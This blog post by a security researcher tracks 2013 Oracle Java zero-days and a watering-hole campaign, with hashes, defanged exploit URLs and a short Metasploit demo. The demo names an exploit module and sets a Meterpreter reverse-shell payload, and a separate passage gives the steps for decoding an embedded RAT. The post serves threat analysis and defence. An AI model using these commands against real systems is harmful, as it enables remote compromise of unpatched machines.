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Oracle Java Exploits and 0days since 2012 Interactive Timeline

As requested by @suffert, here under an interactive timeline of all Oracle Java exploits, 0days and bulletins since 2012.

Capture d’écran 2013-03-03 à 00.05.13

CVE-2013-1493 aka Yet Another Oracle Java 0day

Less than 15 days after the release of Oracle Java CPU Special Update of 19 February, another Java 0day is reported exploited in the wild !

FireEye has report, in a blog post, the discovery of a new Oracle Java 0day targeting latest versions JSE 6 Update 41 and JSE 7 Update 15.

After successful exploitation of the newly discovered vulnerability, CVE-2013-1493, “svchost.jpg” (b6c8ede9e2153f2a1e650dfa05b59b99) file is loaded from the same server hosting the Java 0day. Then McRAT (aka Trojan.Naid) malware (4d519bf53a8217adc4c15d15f0815993)  is dropped.  Regarding the detection ratio of this malware (21/46), it seem that the Java 0day could be used in Exploit Pack.

Symantec has report some connections through the new Oracle Java 0day with the Bit9 security incident. In the actual Java 0day security incident case, “appmgmt.dll” file, dropped by “svchost.jpg“, is detected by Symantec as Trojan.Naid. Trojan.Naid sample is connecting C&C server. In the Bit9 security incident case, Trojan.Naid was also present and also connecting to C&C server. Symantec detect this Java 0day as “Trojan.Maljava.B” and regarding associated threat assessment, less than 49 computers were infected and less than 2 websites were used in the watering hole attack.

Some security researchers are actually studying the sample, it is question of days before this 0day will be widely exploited.

We advise you to deactivate Java plug-in execution asap.

Update 2013-03-07:

Samples are appearing on VirusTotal like “svchost.jar” (a721ca9b2ea1c362bd704b57d4d5a280) with an actual detection ratio of 17/46.

CVE-2013-0431 Java Applet JMX Remote Code Execution Metasploit Demo

Timeline :

Vulnerability discovered and reported to the vendor by Security Explorations the 2013-01-18
Vulnerability patched by the vendor the 2013-02-01
Vulnerability discovered exploited in the wild by kafeine and EKwatcher the 2013-02-18
Metasploit PoC provided the 2013-02-25

PoC provided by :

Adam Gowdiak
juan vazquez

Reference(s) :

Malware don’t need Coffee
Security Explorations
Security Obscurity

Affected version(s) :

Java SE 7U11 and previous

Tested on Windows 7 Integral SP1 with :

Java SE 7U11

Description :

This module abuses the JMX classes from a Java Applet to run arbitrary Java code outside of the sandbox as exploited in the wild in February of 2013. Additionally, this module bypasses default security settings introduced in Java 7 Update 10 to run unsigned applet without displaying any warning to the user.

Commands :

use exploit/multi/browser/java_jre17_jmxbean_2
set TARGET 1
set PAYLOAD windows/meterpreter/reverse_tcp


Watering Hole Campaign Use Latest Java and IE Vulnerabilities

Through a collaboration with (Jindrich Kubec (@Jindroush), Director of Threat Intelligence at avast! / Eric Romang (@eromang), independent security researcher), we can confirm that the watering hole campaigns are still ongoing, targeting multiple web high value web sites, including as example a major Hong Kong political party. We can also confirm that a second major Hong Kong political party is victim of this watering hole campaign.

This website is actually using the new version of the original Internet Explorer (CVE-2012-4792) vulnerability attack, patched in MS13-008, but right now it’s also using the latest Java (CVE-2013-0422) vulnerability, patched in Oracle Java 7 Update 11.

We will provide you further details on the affected web sites after their cleaning.

Chinese language version of the targeted web site is doing a remote javascript inclusion to “hxxp://www.[REDACTED].org/board/data/m/m.js“.


This website is a legitimate compromised website used for hosting the exploit files, hosted in South Korea.

This include file uses the well-known “deployJava” function, aka “deployJava.js“, and creates a cookie “Somethingeeee” with one day expiration date. This cookie is quite strange and it’s also possible to find it in years old exploits, which suggests this is only a part of greater, long-going operation.


If Internet Explorer 8 is used , an iframe is load from”hxxp://www.[REDACTED].org/board/data/m/mt.html” file. Otherwise and if Oracle Java is detected, an iframe will load “hxxp://www.[REDACTED].org/board/data/m/javamt.html“.

Analysis of “mt.html

mt.html” (d85e34827980b13c9244cbcab13b35ea) file is an obfuscated Javascript file which attempts to exploit the latest Internet Explorer vulnerability, CVE-2012-4792, fixed in MS13-008 and provided by Microsoft Monday morning. (avast detects this code as JS:Bogidow-A [Expl] through Script Shield component).

Comparing to the original CFR and Capstone Turbine versions, this code is not targeting certain browser supported language, but the code is based on the version used on CFR with “boy” and “girl” patterns.

Traditional “today.swf” has been replaced with “logo1229.swf” (da0287b9ebe79bee42685510ac94dc4f), “news.html” has been replaced with “DOITYOUR02.html” (cf394f4619db14d335dde12ca9657656) and “robots.txt” has been replaced with “DOITYOUR01.txt” (a1f6e988cfaa4d7a910183570cde0dc0). The traditional dropper “xsainfo.jpg” is now embedded in the “mt.html” file and obfuscated in the Javascript.

The executable file can be extracted from the string by cutting of first 13 characters, converting hex chars to binary and xoring the whole binary blob with 0xBF. Resulting file with SHA256 CE6C5D2DCF5E9BDECBF15E95943F4FFA845F8F07ED2D10FD6E544F30A9353AD2 is RAT which is communicating with a domain hosted in Hong Kong by New World Telecom.

Analysis of “javamt.html

javamt.html” (b32bf36160c7a3cc5bc765672f7d6f2c) is checking if Oracle Java 7 is present, if yes latest Java vulnerability, CVE-2013-0422, will be executed through “AppletHigh.jar” (521eab796271254793280746dbfd9951). If Oracle Java 6 is present, “AppletLow.jar” (2062203f0ecdaf60df34b5bdfd8eacdc) will exploit CVE-2011-3544. Both these applets contain the very same binary mentioned above (unencrypted).



As you see, the watering hole campaign still continues, but has evolved in form but also by using the latest Oracle Java vulnerability. There is just one advise: patch, patch, patch… and see you soon.

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